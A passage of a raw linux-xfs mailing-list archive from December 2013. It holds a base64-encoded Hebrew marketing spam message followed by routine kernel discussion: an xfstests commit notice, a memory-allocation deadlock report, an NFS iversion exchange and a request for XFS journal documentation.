EB40CAC009 for ; Tue, 3 Dec 2013 07:00:45 -0800 (PST) X-ASG-Debug-ID: 1386082843-04bdf06eee4cd760001-w1Z2WR Received: from AMSCLUB02.localdomain ([109.201.141.155]) by cuda.sgi.com with ESMTP id HC7JZPOhxztkMR5N for ; Tue, 03 Dec 2013 07:00:44 -0800 (PST) X-Barracuda-Envelope-From: leo.rive@BESTMESER.COM X-Barracuda-Apparent-Source-IP: 109.201.141.155 List-Unsubscribe: MIME-Version: 1.0 From: =?utf-8?B?15fXoNeV16og15HXqNeZ15DXldeq?= Sender: leo.rive@BESTMESER.COM To: linux-xfs@oss.sgi.com Reply-To: =?utf-8?B?15fXoNeV16og15HXqNeZ15DXldeq?= Date: 3 Dec 2013 16:45:07 +0200 Subject: =?utf-8?B?16rXlCDXqdeV16jXoyDXqdeV157XoNeZ150g15jXldeo15HXlSDXnNeZ16jXmdeT15Qg15HXntep16fXnCAzLTgg16cnJ9eSINeR15fXldeT16kg15nXnteZ150g?= Content-Type: multipart/alternative; boundary=--boundary_4308215_a1b982d2-b7ae-44b5-a4e6-f8059e4482d1 X-ASG-Orig-Subj: =?utf-8?B?16rXlCDXqdeV16jXoyDXqdeV157XoNeZ150g15jXldeo15HXlSDXnNeZ16jXmdeT15Qg15HXntep16fXnCAzLTgg16cnJ9eSINeR15fXldeT16kg15nXnteZ150g?= X-Barracuda-Connect: UNKNOWN[109.201.141.155] X-Barracuda-Start-Time: 1386082843 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.74 X-Barracuda-Spam-Status: No, SCORE=0.74 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_MJ1963, HTML_MESSAGE, MISSING_MID, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142809 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.14 MISSING_MID Missing Message-Id: header 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS 0.50 BSF_SC5_MJ1963 Custom Rule MJ1963 Message-Id: <20131203150045.B4609A4217D@cuda.sgi.com> ----boundary_4308215_a1b982d2-b7ae-44b5-a4e6-f8059e4482d1 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 15DXnSDXkNeZ16DXmiDXqNeV15DXlCDXnteZ15nXnCDXlteUINeQ16DXkCDXnNeX16Uv15kg INeb15DXnyAgINeq15Qg16nXldeo16Mg16nXldee158gLSDXnNeU16jXlteZ15Qg15XXnNeQ 16jXkteZ15QhISEhINee16nXp9eUINep15XXqNejINep15XXntefLCDXk9ecINen15zXldeo 15nXldeqICwg15jXldeo15HXlSDXnNeU16bXqNeqINeU15nXp9ek15nXnSAtIA0KCQkJCQ0K CQkJCQ0K15zXlden15cg16nXldee158g157XlNeS15XXoyDXldeU15XXpNeaINeQ15XXqteV INec15DXoNeo15LXmdeUISANCgkJCQkNCgkJCQkNCtee16rXkNeZ150g15zXkNeg16nXmded INep15zXkCDXoteV16nXmdedINeh16TXldeo15gsINec157XoteV16DXmdeZ16DXmdedINec 15fXmNeRINeQ16og15TXkteV16MsIA0KCQkNCgkJDQoo15HXmdeX15XXkyDXnNeR16LXnNeZ INep15XXntefINeR15bXqNeV16LXldeqLCDXkdeR15jXnywg15HXmdeo15vXmdeZ150g15XX kdeZ16nXkdefKSwg15DXlSDXm9eq15XXodek16og157XqNelINeV15DXoNeo15LXmdeULiAN CgkJDQoJCQ0K16rXlCDXptee15fXmSDXmNeR16LXmSDXnNeX15zXldeY15nXnywg157Xldeo 15vXkSDXnteq16LXqNeV15HXqiDXptee15fXmdedINeZ15nXl9eV15PXmdeqINeU16TXldei 15zXqiDXnteZ15nXky4gDQoJCQ0KCQkNCtee15vXmdecINep15zXmdepINee15vXnteV16og 15TXp9ek15DXmdefINeR16fXpNeUINeo15LXmdecLiDXnNeU15bXnteg16og15TXnteV16bX qCDXnNeX16Ug15vXkNefIA0KCQ0KCQ0KICDXlNee15vXnNec15Qg15zXqNek15XXkNeUINeY 15HXoteZ16ogfNeqLteTLiAzMTkzfCDXqNee16og15nXqdeZICAgINeU15XXk9ei15Qg15bX lSDXoNep15zXl9eUINecLSBsaW51eC14ZnNAb3NzLnNnaS5jb20gINei15wg15nXk9eZICBk aWV0YWxpQGdtYWlsLmNvbSAg16LXnCDXnteg16og15zXlNeh15nXqCDXkNeqINei16bXntea INee16jXqdeZ157XqiDXlNeq16TXldem15Qg15zXl9elL9eZICDXm9eQ158gICA= ----boundary_4308215_a1b982d2-b7ae-44b5-a4e6-f8059e4482d1 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PEhUTUw+PEJPRFk+PGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgYWxpZ249ImNlbnRlciIg c3R5bGU9ImRpcmVjdGlvbjpydGw7IHdpZHRoOiA3MDBweDsgdGFibGUtbGF5b3V0OiBmaXhl ZDsiPjx0cj48dGQgc3R5bGU9IndpZHRoOiA0MHB4OyI+PC90ZD48dGQgdmFsaWduPSJib3R0 b20iIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250LWZhbWlseTpBcmlhbDtmb250LXNpemU6 OC41cHQ7Ij7XkNedINeQ15nXoNeaINeo15XXkNeUINee15nXmdecINeW15Qg15DXoNeQINec 15fXpS/XmSA8YSBocmVmPSJodHRwOi8vZW1haWxzLWRpcmVjdC5jb20vTWFpbC9WaWV3RU1h aWwuYXNweD9FSUQ9QW5qeGFWZFN1TERRTEFxbUkzeVlpdyUzZCUzZCZTTUlEPUU1SU02YmZy U0ZRJTNkJkNJRD1hcnJJd0Y1bWRIRnh5VXlqSm9kR2M2NkpTQW5rQTg4SCZVSUQ9QjB4eGF5 ZnZMSXFPY1BTWWxpSXhrUSUzZCUzZCI+15vXkNefPC9hPjwvdGQ+PHRkIHZhbGlnbj0ibWlk ZGxlIiBhbGlnbj0icmlnaHQiIHN0eWxlPSJmb250LWZhbWlseTpBcmlhbDtmb250LXNpemU6 OC41cHQ7IHdpZHRoOiA3MHB4OyI+PGEgaHJlZj0iaHR0cDovL2VtYWlscy1kaXJlY3QuY29t L01haWwvQ291bnRMaW5rLmFzcHg/U0lEPTE5Njc5MDQxNjEmTElEPTQwNDc1NTkxIj48aW1n IHNyYz0iaHR0cDovL2VtYWlscy1kaXJlY3QuY29tL1VzZXJQaWN0dXJlcy9GQl8xNzgxNDQw LnBuZyIgYWxpZ249Im1pZGRsZSIgYWx0PSLXqdeq16MiIGJvcmRlcj0iMCIgLz48L2E+Jm5i c3A7PGEgaHJlZj0iaHR0cDovL2VtYWlscy1kaXJlY3QuY29tL01haWwvQ291bnRMaW5rLmFz cHg/U0lEPTE5Njc5MDQxNjEmTElEPTQwNDc1NTkyJmxwPVNJRCUzZGRrYVVYWkR2UnBoZzNF TXpYakhDYWJyd3MlMjUyZnhZSEhsYSI+PGltZyBzcmM9Imh0dHA6Ly9lbWFpbHMtZGlyZWN0 LmNvbS9Vc2VyUGljdHVyZXMvU1RGXzE3ODE0NDAucG5nIiBhbGlnbj0ibWlkZGxlIiBhbHQ9 Itep15zXlyDXnNeX15HXqCIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPjwvdHI+PC90YWJsZT48 YnIgLz48ZGl2IGFsaWduPSJjZW50ZXIiPjxUQUJMRSBzdHlsZT0id2lkdGg6NzAwcHg7ZGly ZWN0aW9uOnJ0bDt0YWJsZS1sYXlvdXQ6YXV0bzt0ZXh0LWFsaWduOnJpZ2h0OyI+DQo8VFI+ PFREPg0KPHAgc3R5bGU9InRleHQtYWxpZ246IGNlbnRlciI+PGJyIC8+DQoJPHNwYW4gc3R5 bGU9ImZvbnQtc2l6ZTogMjZweCI+PHN0cm9uZz48c3BhbiBzdHlsZT0iY29sb3I6I2ZmMDAw MDsiPteq15Qg16nXldeo16Mg16nXldee158gLSDXnNeU16jXlteZ15Qg15XXnNeQ16jXkteZ 15QhISEhPC9zcGFuPg0KCQkJPGJyIC8+DQoJCQk8c3BhbiBzdHlsZT0iY29sb3I6IzAwODAw MDsiPtee16nXp9eUINep15XXqNejINep15XXntefLCDXk9ecINen15zXldeo15nXldeqICwg 15jXldeo15HXlSDXnNeU16bXqNeqINeU15nXp9ek15nXnSAtPGJyIC8+DQoJCQkJDQoJCQkJ DQrXnNeV16fXlyDXqdeV157XnyDXnteU15LXldejINeV15TXldek15og15DXldeq15Ug15zX kNeg16jXkteZ15QhPGJyIC8+DQoJCQkJDQoJCQkJDQrXnteq15DXmdedINec15DXoNep15nX nSDXqdec15Ag16LXldep15nXnSDXodek15XXqNeYLCDXnNee16LXldeg15nXmdeg15nXnSDX nNeX15jXkSDXkNeqINeU15LXldejLDwvc3Bhbj48L3N0cm9uZz4NCgkJPGJyIC8+DQoJCQ0K CQkNCijXkdeZ15fXldeTINec15HXotec15kg16nXldee158g15HXlteo15XXoteV16osINeR 15HXmNefLCDXkdeZ16jXm9eZ15nXnSDXldeR15nXqdeR158pLCDXkNeVINeb16rXldeh16TX qiDXnteo16Ug15XXkNeg16jXkteZ15QuPGJyIC8+DQoJCQ0KCQkNCteq15Qg16bXnteX15kg 15jXkdei15kg15zXl9ec15XXmNeZ158sINee15XXqNeb15Eg157Xqtei16jXldeR16og16bX nteX15nXnSDXmdeZ15fXldeT15nXqiDXlNek15XXotec16og157XmdeZ15MuPGJyIC8+DQoJ CQ0KCQkNCtee15vXmdecINep15zXmdepINee15vXnteV16og15TXp9ek15DXmdefINeR16fX pNeUINeo15LXmdecLjxiciAvPg0KCQk8YnIgLz4NCgkJPGEgaHJlZj0iaHR0cDovL2VtYWls cy1kaXJlY3QuY29tL01haWwvQ291bnRMaW5rLmFzcHg/U0lEPTE5Njc5MDQxNjEmTElEPTQw NDc1NTkwIj48c3BhbiBzdHlsZT0iY29sb3I6ICM4MDAwODAiPjxzcGFuIHN0eWxlPSJiYWNr Z3JvdW5kLWNvbG9yOiAjZmZmZmZmIj7XnNeU15bXnteg16og15TXnteV16bXqCDXnNeX16Ug 15vXkNefPC9zcGFuPjwvc3Bhbj48L2E+PC9zcGFuPg0KCTxiciAvPg0KCQ0KCQ0KJm5ic3A7 PC9wPjxwIHN0eWxlPSJ0ZXh0LWFsaWduOiBjZW50ZXI7Ij48aW1nIGFsdD0iIiBoZWlnaHQ9 IjIyNyIgc3JjPSJodHRwOi8vZW1haWxzLWRpcmVjdC5jb20vY2tmaW5kZXIvdXNlcmZpbGVz L1VzZXIxNzgyL2ltYWdlcy/XqteUJTIwMigxKS5qcGciIHdpZHRoPSIzNjYiIC8+PC9wPg0K PC9URD48L1RSPg0KPC9UQUJMRT48L2Rpdj48YnIgLz48dGFibGUgZGlyPSJydGwiIHN0eWxl PSJmb250LWZhbWlseTpBcmlhbDsgZm9udC1zaXplOiA4LjVwdDsgd2lkdGg6IDcwMHB4OyI+ PFRSPjxURCBhbGlnbj0iY2VudGVyIj48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigxMjgsIDEy OCwgMTI4KTsgZm9udC1zaXplOiA5cHQ7IGZvbnQtZmFtaWx5OiBBcmlhbDsiPteU157Xm9ec 15zXlCDXnNeo16TXldeQ15Qg15jXkdei15nXqiB816ou15MuIDMxOTN8INeo157XqiDXmdep 15kgPC9zcGFuPjxiciAvPjxociAvPiZuYnNwOzxiciAvPjxzcGFuIHN0eWxlPSJjb2xvcjog YmxhY2s7IGZvbnQtc2l6ZTogOC41cHQ7IGZvbnQtZmFtaWx5OiBBcmlhbDsiPteU15XXk9ei 15Qg15bXlSDXoNep15zXl9eUINecLSBsaW51eC14ZnNAb3NzLnNnaS5jb20gINei15wg15nX k9eZICBkaWV0YWxpQGdtYWlsLmNvbSA8YnIgLz7XotecINee16DXqiDXnNeU16HXmdeoINeQ 16og16LXptee15og157XqNep15nXnteqINeU16rXpNeV16bXlCDXnNeX16Uv15kgPGEgaHJl Zj0iaHR0cDovL2VtYWlscy1kaXJlY3QuY29tL0NvbnRhY3RzL1JlbW92ZUZyb21MaXN0cy5h c3B4P0lEPWlxelJUWnFUSVlUbTZyTkwzbVFGSHNOVWFPeW9NQUNZY1ZKaCUyYktETVNCRlBO UmZ5U1hLS09Gb1EzRHolMmJtM3h2JlVJRD1CMHh4YXlmdkxJcU9jUFNZbGlJeGtRJTNkJTNk JkVJRD1Bbmp4YVZkU3VMRFFMQXFtSTN5WWl3JTNkJTNkIj7Xm9eQ1588L2E+PC9zcGFuPjxi ciAvPiZuYnNwOzxiciAvPjwvVEQ+PC9UUj48VFI+PHRkPjxpbWcgc3JjPSJodHRwOi8vZW1h aWxzLWRpcmVjdC5jb20vVXNlclBpY3R1cmVzLzE5Njc5MDQxNjEuZ2lmIiB3aWR0aD0iNSIg aGVpZ2h0PSIyIiBib3JkZXI9IjAiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+PC9CT0RZ PjwvSFRNTD4= ----boundary_4308215_a1b982d2-b7ae-44b5-a4e6-f8059e4482d1-- From rjohnston@sgi.com Tue Dec 3 09:00:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 939AF7F54 for ; Tue, 3 Dec 2013 09:00:54 -0600 (CST) Received: from xmail.sgi.com (pv-excas2-dc21.corp.sgi.com [137.38.106.9]) by relay1.corp.sgi.com (Postfix) with ESMTP id 60D308F8035; Tue, 3 Dec 2013 07:00:51 -0800 (PST) Received: from [134.15.129.202] (134.15.129.202) by xmail.sgi.com (137.38.106.6) with Microsoft SMTP Server (TLS) id 14.3.123.3; Tue, 3 Dec 2013 09:00:50 -0600 Message-ID: <529DF220.9060208@sgi.com> Date: Tue, 3 Dec 2013 09:00:48 -0600 From: Rich Johnston User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: Guangyu Sun , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfstest generic/280: wait for setquota to finish before umount References: <1382637381-4847-1-git-send-email-guangyu.sun@oracle.com> In-Reply-To: <1382637381-4847-1-git-send-email-guangyu.sun@oracle.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [134.15.129.202] This has been committed. Thanks --Rich commit 527eeb43e5c7cfd642d81bc3c12e746d2a3733ff Author: Guangyu Sun Date: Thu Oct 24 17:56:21 2013 +0000 xfstest generic/280: wait for setquota to finish before umount From Yann.Dupont@univ-nantes.fr Tue Dec 3 10:30:12 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 046F07F4E for ; Tue, 3 Dec 2013 10:30:12 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D8CDC8F804C for ; Tue, 3 Dec 2013 08:30:08 -0800 (PST) X-ASG-Debug-ID: 1386088206-04cb6c537e4c9f50001-NocioJ Received: from smtp-tls.univ-nantes.fr (smtptls2-lmb.cpub.univ-nantes.fr [193.52.103.111]) by cuda.sgi.com with ESMTP id kb0EBXKPR6gbwDtc for ; Tue, 03 Dec 2013 08:30:07 -0800 (PST) X-Barracuda-Envelope-From: Yann.Dupont@univ-nantes.fr X-Barracuda-Apparent-Source-IP: 193.52.103.111 Received: from localhost (localhost [127.0.0.1]) by smtp-tls.univ-nantes.fr (Postfix) with ESMTP id 3FBE740175B for ; Tue, 3 Dec 2013 17:30:06 +0100 (CET) X-Virus-Scanned: Debian amavisd-new at smtptls1-lmb.cpub.univ-nantes.fr Received: from smtp-tls.univ-nantes.fr ([127.0.0.1]) by localhost (smtptls2-lmb.cpub.univ-nantes.fr [127.0.0.1]) (amavisd-new, port 10024) with LMTP id OTwn1lqvrR98 for ; Tue, 3 Dec 2013 17:30:06 +0100 (CET) Received: from [IPv6:2001:660:7220:0:1c3b:1d7b:b374:7948] (unknown [IPv6:2001:660:7220:0:1c3b:1d7b:b374:7948]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by smtp-tls.univ-nantes.fr (Postfix) with ESMTPSA id F3F004016E1 for ; Tue, 3 Dec 2013 17:30:05 +0100 (CET) Message-ID: <529E0699.4020601@univ-nantes.fr> Date: Tue, 03 Dec 2013 17:28:09 +0100 From: Yann Dupont User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.1 MIME-Version: 1.0 To: xfs@oss.sgi.com Subject: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) References: <20131128091322.GC5337@easter-eggs.com> <20131128100521.GO10988@dastard> <20131203095357.GC5405@easter-eggs.com> <20131203125057.GU10988@dastard> X-ASG-Orig-Subj: Re: XFS: possible memory allocation deadlock in kmem_alloc (mode:0x250) In-Reply-To: <20131203125057.GU10988@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Barracuda-Connect: smtptls2-lmb.cpub.univ-nantes.fr[193.52.103.111] X-Barracuda-Start-Time: 1386088207 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142811 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Le 03/12/2013 13:50, Dave Chinner a crit : > On Tue, Dec 03, 2013 at 10:53:58AM +0100, Emmanuel Lacour wrote: > OK, 32GB RAM, no obvious shortage, no dirty or writeback data. 2TB > SATA drives, 32AGs, only unusual setting is 64k directory block size. > Yup, there's your problem: I can confirm I also saw this from times to times, in the very same context (ceph OSD, xfs volume with 64k directory blocks) I never took the time to fully report the problem because it was very sporadic, and I suspected a specific option in my hand-made kernels, in which the problem seems to occurs more often. With the 'standard' debian 3.10.2 (from testing) I never saw the problem (56 days uptime) cf http://tracker.ceph.com/issues/6301 the report isn't complete here ... sometimes I just have the deadlock, but without oops. can try to dig deeper inmy old logs to be sure it's really the same Cheers, -- Yann Dupont - Service IRTS, DSI Universit de Nantes Tel : 02.53.48.49.20 - Mail/Jabber : Yann.Dupont@univ-nantes.fr From bfields@fieldses.org Tue Dec 3 14:54:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 585CF7F4E for ; Tue, 3 Dec 2013 14:54:43 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id D6AD2AC007 for ; Tue, 3 Dec 2013 12:54:42 -0800 (PST) X-ASG-Debug-ID: 1386104077-04cbb041674de670001-NocioJ Received: from fieldses.org (fieldses.org [174.143.236.118]) by cuda.sgi.com with ESMTP id fFp8hgpNydtai7sF (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Dec 2013 12:54:38 -0800 (PST) X-Barracuda-Envelope-From: bfields@fieldses.org X-Barracuda-Apparent-Source-IP: 174.143.236.118 Received: from bfields by fieldses.org with local (Exim 4.76) (envelope-from ) id 1VnwzK-000104-5F; Tue, 03 Dec 2013 15:54:34 -0500 Date: Tue, 3 Dec 2013 15:54:33 -0500 To: Boaz Harrosh Cc: Christoph Hellwig , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, NFS list Subject: Re: [PATCH] fs: fix iversion handling Message-ID: <20131203205433.GB2648@fieldses.org> X-ASG-Orig-Subj: Re: [PATCH] fs: fix iversion handling References: <20131119151707.GA13412@infradead.org> <20131202173636.GA17724@infradead.org> <529DA5C6.7040403@panasas.com> <20131203094507.GD4906@infradead.org> <529DB536.7050008@panasas.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <529DB536.7050008@panasas.com> User-Agent: Mutt/1.5.21 (2010-09-15) From: "J. Bruce Fields" X-Barracuda-Connect: fieldses.org[174.143.236.118] X-Barracuda-Start-Time: 1386104078 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142817 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Dec 03, 2013 at 12:40:54PM +0200, Boaz Harrosh wrote: > On 12/03/2013 11:45 AM, Christoph Hellwig wrote: > > On Tue, Dec 03, 2013 at 11:35:02AM +0200, Boaz Harrosh wrote: > >> Hi Christoph > >> > >> What happens with all other filesystems exported under KNFSD? > >> > >> As I understand inode_inc_iversion() is used in NFSv4 and up, > >> what will increment the inode-version on changed attributes > >> for them? > > > > It's used by the filesystem for the change attribute that NFSDd > > can optionally use. Most filesystsems don't support it and work > > okay enough when NFS exported. No other filesystem will need > > to adopt for this patch specificly, given that no other filesystem > > uses this infrastructure. > > > > OK Thanks, I did not know that. I assumed change-attribute is > naturally supported. > > I will look at ext4 example and wire up exofs. Because it is very > important for me to support the change-attribute properly. Just please don't follow ext4's example of making support dependent on a mount option. --b. From yangsuli@gmail.com Tue Dec 3 14:55:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CAEC57F4E for ; Tue, 3 Dec 2013 14:55:49 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B5C62304084 for ; Tue, 3 Dec 2013 12:55:46 -0800 (PST) X-ASG-Debug-ID: 1386104143-04cb6c537c4d9da0001-NocioJ Received: from mail-ea0-f174.google.com (mail-ea0-f174.google.com [209.85.215.174]) by cuda.sgi.com with ESMTP id fSP6HFbIHMQCclZE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 03 Dec 2013 12:55:44 -0800 (PST) X-Barracuda-Envelope-From: yangsuli@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.174] Received: by mail-ea0-f174.google.com with SMTP id b10so10158378eae.33 for ; Tue, 03 Dec 2013 12:55:43 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:from:date:message-id:subject:to:content-type; bh=tS09nItTTZC5PPvNZleUsax5GCy8oFqsW9jUw1S9pYk=; b=TWytJS5liTwVdBDCLKygaIYMrHglldbeILPZWJpQF5t5r/fqLC6eBs2QRCfUqorfTE KhecpuDfzUjrUwPYTUxbTohyfeST1QoIb1J+G20vKTPypolxHn6vNoFmhg+Y+PCADDjG UGKJbtHoeIvUkjHE5Vf5z7gYsipOvOkLXq0/c90rC0EANghd5N2alef5s4qABXhQu4qI omlPYHPy8v1p0m/AJXQ1tLgMfe3D4CnD1Zp3KNmmPVbdrkUgJVIjlnGfTbf2L4AZkspH 1DEg3HuJ6j3qsZBTHP4R6BxmiLVz3hBMu3IwHQAMbkhrpHA0Jip5mZ0ZWcx4WW9J7h0q luqA== X-Received: by 10.14.104.201 with SMTP id i49mr4447510eeg.78.1386104143133; Tue, 03 Dec 2013 12:55:43 -0800 (PST) MIME-Version: 1.0 Received: by 10.14.150.1 with HTTP; Tue, 3 Dec 2013 12:55:23 -0800 (PST) From: =?UTF-8?B?5p2o6IuP56uLIFlhbmcgU3UgTGk=?= Date: Tue, 3 Dec 2013 14:55:23 -0600 Message-ID: Subject: XFS journal documentation? To: xfs@oss.sgi.com X-ASG-Orig-Subj: XFS journal documentation? Content-Type: multipart/alternative; boundary=001a11c2902212c2e604eca785d1 X-Barracuda-Connect: mail-ea0-f174.google.com[209.85.215.174] X-Barracuda-Start-Time: 1386104144 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142817 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c2902212c2e604eca785d1 Content-Type: text/plain; charset=ISO-8859-1 Hi, I am trying to understand XFS a little bit better, especially its journal process. Unfortunately, I am having trouble find documentation in this regard. The general XFS documentation ( http://xfs.org/docs/xfsdocs-xml-dev/XFS_Filesystem_Structure//tmp/en-US/html/index.html) has been quite helpful, but it doesn't describe the journal part of XFS. I also found some kernel documentation ablout XFS's delayed logging ( https://www.kernel.org/doc/Documentation/filesystems/xfs-delayed-logging-design.txt), which talks about the journal process a bit. But it seems to assume a lot of prior knowledge of how the original XFS logging works to completely understand what the author is talking about; and the term it uses (like checkpoint) seem to have complete different meaning from, say, ext4. So I am wondering, is there some kind of (any kind of ) documentation on XFS journaling? Ideally it will cover the major data structure and major code flow, but even a very high level, incomplete overview would be better than what I have now, which is essentially nothing. And if so, where can I find it? Thanks a lot! Suli -- Suli Yang Department of Physics University of Wisconsin Madison 4257 Chamberlin Hall Madison WI 53703 --001a11c2902212c2e604eca785d1 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Hi,

I am trying to understand XFS a lit= tle bit better, especially its journal process. Unfortunately, I am having = trouble find documentation in this regard.=A0

The = general XFS documentation (http://xfs.org/docs/xfs= docs-xml-dev/XFS_Filesystem_Structure//tmp/en-US/html/index.html) has b= een quite helpful, but it doesn't describe the journal part of XFS. I a= lso found some kernel documentation ablout XFS's delayed logging (https://www.kernel.org/doc/Documentation/filesystems/xfs-de= layed-logging-design.txt), which talks about the journal process a bit.= But it seems to assume a lot of prior knowledge of how the original XFS lo= gging works to completely understand what the author is talking about; and = the term it uses (like checkpoint) seem to have complete different meaning = from, say, ext4.=A0

So I am wondering, is there some kind of (any kind of )= documentation on XFS journaling? Ideally it will cover the major data stru= cture and major code flow, but even a very high level, incomplete overview = would be better than what I have now, which is essentially nothing. And if = so, where can I find it?

Thanks a lot!

Suli

--
Suli Yang

Department of Physics
Unive= rsity of Wisconsin Madison

4257 Chamberlin Hall
Madison WI 53703<= br>
--001a11c2902212c2e604eca785d1-- From bpm@sgi.com Tue Dec 3 15:00:55 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1742A7F4E for ; Tue, 3 Dec 2013 15:00:55 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id D97188F8040 for ; Tue, 3 Dec 2013 13:00:54 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9F6694266DC; Tue, 3 Dec 2013 15:00:54 -0600 (CST) Date: Tue, 3 Dec 2013 15:00:54 -0600 From: Ben Myers To: xfs@oss.sgi.com Subject: [RFC PATCH] xfs: fix calculation of freed inode cluster blocks Message-ID: <20131203210054.GN1935@sgi.com> MIME-Version: 1.0 